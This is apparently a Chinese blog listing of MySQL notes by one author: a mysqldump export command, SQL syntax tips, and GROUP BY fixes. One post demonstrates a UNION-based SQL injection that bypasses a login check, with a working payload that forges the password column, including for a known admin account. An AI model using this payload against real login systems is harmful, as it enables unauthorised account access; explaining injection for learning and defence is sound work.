使用 mysqldump 导出 MySQL 数据库每张表前 100 行数据 作者: Chuwen 时间: 2022-03-17 分类: MySQL 评论 命令如下: ```shell mysqldump --host=192.168.1.1 \ --user=nowtime_read \ --password=this_is_password \ nowtime \ --where="true limit 100" > nowtime_all.sql ```
MySQL 常用语句笔记 作者: Chuwen 时间: 2020-11-21 分类: MySQL 评论 # 创建唯一索引,并按照降序排序 ```sql CREATE UNIQUE INDEX QueID ON t_question(ID DESC) # CREATE UNIQUE INDEX 自定义索引字段名 ON 表名(索引字段 DESC) # 升序 # CREATE UNIQUE INDEX 自定义索引字段名 ON 表名(索引字段 ASC) ``` # 修改字段名 ```sql ALTER TABLE `t_question` CHANGE `Score` `Point` int default '0'; # ALTER TABLE 需要修改的表名 CHANGE 旧字段 新字段 int default '0'; # ALTER TABLE 需要修改的表名 CHANGE 旧字段 新字段 新字段数据类型 default '默认值'; ``` # 事务控制,开启事务 ```sql start transaction;#开始事务 Update t_question set Del=1 where ID=1;#更新字段值 rollback;#事务回滚 Select * from t_question;#查看修改结果 ``` # 创建存储过程 ```sql Delimiter $$ # 声明语句开始 Create PROCEDURE xinzeng() #声明存储过程 BEGIN #开始代码 Insert into t_question(Type,ItemContent,Analysis,Del) values(0,'新增试题','存储过程',0); Insert into t_option(QuestionID,Num,OptionContent,IsTrue) values('1','0','新增选项','1'); END #结束代码 delimiter; # 声明语句结束 # 调用存储过程 CALL xinzeng() # 删除存储过程 # DROP PROCEDURE xinzeng; ``` # 升降序关键字 **降序** `DESC`,**升序** `ASC`
巧妙地使用 SQL UNION 注入 作者: Chuwen 时间: 2020-07-01 分类: MySQL 评论 我们一般验证用户登录时,密码是否输入正确,一般是会这么做 1. 客户端 通过 post 提交用户名(username)和密码(pwd) 2. 服务端 拿到 username,进行数据库查询(假设没做对SQL注入措施),一般会这样写 SQL 语句(假设 `$username` 变量是获取用户 post 提交的用户名): `SELECT username,pwd FROM user_table WHERE username='$username'` 3. 然后查询得到结果,判断查询结果的密码是否与**接收的密码**一致 4. 好了重点了来了,因为没有做防SQL注入,我们可以这样注入 > 注意末尾 **#** 别漏掉了,写上这个就会忽略后面所有的语句 ``` SELECT username,pwd FROM user_table WHERE username='' UNION SELECT '','45cf93bd4f762c6597b68e615b153bd0'# ``` 此条语句的执行结果是: ``` +----------+----------------------------------+ | username | pwd | +----------+----------------------------------+ | | 45cf93bd4f762c6597b68e615b153bd0 | +----------+----------------------------------+ ``` 没错,我们使用 `UNION SELECT` 查询,可以控制输出字段的值,但前提是你要知道**查询了哪些字段** 这样我们 POST 提交参数: ``` username='UNION SELECT '','123456'#&pwd=123456 ``` 就可以骗过验证 --- 如果你知道某个账号(假设是 `nowtime`)具有**超级管理员权限**,那么让其执行以下语句就可以控制输出其密码 ``` SELECT username,pwd FROM user WHERE username='' UNION select username,'123456' as pwd FROM user where username='nowtime'# ``` 运行结果: ``` +----------+----------+ | username | pwd | +----------+----------+ | nowtime | 123456 | +----------+----------+ ```
MySQL 分别统计 男女数量 作者: Chuwen 时间: 2020-05-24 分类: MySQL 评论 ``` SELECT uSex, COUNT(*) FROM `Users ` WHERE `uSex` IN ( '男', '女' ) GROUP BY `uSex`; ```
MySQL GROUP BY 不会对 NULL 进行分组统计解决办法(表述可能不正确,具体看内容...) 作者: Chuwen 时间: 2020-05-23 分类: MySQL 评论 # 数据表结构 ## goods (商品信息)表结构 ``` +------------+--------------+------+-----+-------------------+----------------+ | Field | Type | Null | Key | Default | Extra | +------------+--------------+------+-----+-------------------+----------------+ | gdID | int(11) | NO | PRI | NULL | auto_increment | | tID | int(11) | YES | MUL | NULL | | | gdCode | varchar(50) | YES | | NULL | | | gdName | varchar(100) | NO | | NULL | | | gdPrice | float | YES | | 0 | | | gdQuantity | int(11) | YES | | 0 | | | gdSaleQty | int(11) | YES | | 0 | | | gdCity | varchar(50) | YES | | 长沙 | | | gdInfo | longtext | NO | | NULL | | | gdAddTime | timestamp | YES | | CURRENT_TIMESTAMP | | | gdHot | tinyint(11) | YES | | 0 | | | gdImage | varchar(255) | YES | | NULL | | +------------+--------------+------+-----+-------------------+----------------+ ``` ## orderdetail (商品订单信息、评论)表结构 ``` +------------+---------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +------------+---------------+------+-----+---------+----------------+ | odID | int(11) | NO | PRI | NULL | auto_increment | | oID | int(11) | YES | | NULL | | | gdID | int(11) | YES | | NULL | | | odNum | int(11) | YES | | NULL | | | dEvalution | varchar(8000) | YES | | NULL | | | odTime | datetime | YES | | NULL | | +------------+---------------+------+-----+---------+----------------+ ``` # 需求 > 需要列出商品信息及评价数量 > > 当时想到的解题思路是,通过查询 `OrderDetail` 表,通过外连接(RIGHT JOIN) goods 表,然后进行分组查询,然后就有了以下语句 ``` SELECT Goods.gdID, Goods.gdName, Goods.gdPrice, Goods.gdSaleQty, Goods.gdImage, COUNT( OrderDetail.gdID ) AS noe FROM `OrderDetail` RIGHT JOIN `Goods` ON `Goods`.`gdID` = `OrderDetail`.`gdID` GROUP BY `OrderDetail`.`gdID` ORDER BY noe DESC; ``` 运行结果: > 发现,当商品没有评价的,不会列出来 ``` +------+-------------+---------+-----------+--------------------------------------------------------------------------------------------------------------------+-----+ | gdID | gdName | gdPrice | gdSaleQty | gdImage | noe | +------+-------------+---------+-----------+--------------------------------------------------------------------------------------------------------------------+-----+ | 10 | 华为P9_PLUS | 3980 | 7 | 【华为官方买就送Type C 转接头】Huawei/华为 P9 plus全网通手机 | 5 | | 3 | 牛肉干 | 94 | 61 | 牛肉干一般是用黄牛肉和其他调料一起腌制而成的肉干。牛肉干中的风干牛肉源于蒙古铁骑的战粮,携带方便,并且有丰富的营养 | 2 | | 5 | 运动鞋 | 400 | 200 | 运动,健康等 | 1 | | 6 | 咖啡壶 | 50 | 45 | 一种冲煮咖啡的器具。咖啡壶是欧洲最早的发明之一,约在1685年于法国问世,在路易十五时期在各地广为流传。 | 1 | | 8 | A字裙 | 128 | 200 | 2016秋季新品韩版高腰显瘦圆环拉链a字半身裙双口袋包臀短裙子女 | 1 | | 1 | 迷彩帽 | 63 | 29 | 透气夏天棒球帽男女鸭舌帽网帽迷彩帽子太阳帽防晒韩版休闲遮阳帽 | 0 | +------+-------------+---------+-----------+--------------------------------------------------------------------------------------------------------------------+-----+ ``` # 解决 再网上找到了一个类似的问题:https://blog.csdn.net/u011277123/article/details/79883855 这篇文章参考的是:https://stackoverflow.com/questions/4588935/group-by-do-not-group-null 他是这么写的 > 增加一个 UUID(),把 b.name 的 NULL 的值都转化为具有专一性的 uuid,这样每个 b.name 都会不同, GROUP 就不会对他们进行分组 我也没怎么理解他说的,但是按照他的方法做,可以实现我想要的结果 SQL 语句: ``` SELECT Goods.gdID, Goods.gdName, Goods.gdPrice, Goods.gdSaleQty, Goods.gdImage, COUNT( OrderDetail.gdID ) AS noe FROM `OrderDetail` RIGHT JOIN `Goods` ON `Goods`.`gdID` = `OrderDetail`.`gdID` GROUP BY IFNULL( `OrderDetail`.`gdID`, UUID()); ORDER BY noe DESC; ``` 运行结果: > 评价数为 0 的结果也输出了,这正是我想要的结果 ``` +------+-------------+---------+-----------+--------------------------------------------------------------------------------------------------------------------+-----+ | gdID | gdName | gdPrice | gdSaleQty | gdImage | noe | +------+-------------+---------+-----------+--------------------------------------------------------------------------------------------------------------------+-----+ | 10 | 华为P9_PLUS | 3980 | 7 | 【华为官方买就送Type C 转接头】Huawei/华为 P9 plus全网通手机 | 5 | | 3 | 牛肉干 | 94 | 61 | 牛肉干一般是用黄牛肉和其他调料一起腌制而成的肉干。牛肉干中的风干牛肉源于蒙古铁骑的战粮,携带方便,并且有丰富的营养 | 2 | | 5 | 运动鞋 | 400 | 200 | 运动,健康等 | 1 | | 6 | 咖啡壶 | 50 | 45 | 一种冲煮咖啡的器具。咖啡壶是欧洲最早的发明之一,约在1685年于法国问世,在路易十五时期在各地广为流传。 | 1 | | 8 | A字裙 | 128 | 200 | 2016秋季新品韩版高腰显瘦圆环拉链a字半身裙双口袋包臀短裙子女 | 1 | | 1 | 迷彩帽 | 63 | 29 | 透气夏天棒球帽男女鸭舌帽网帽迷彩帽子太阳帽防晒韩版休闲遮阳帽 | 0 | +------+-------------+---------+-----------+--------------------------------------------------------------------------------------------------------------------+-----+ ```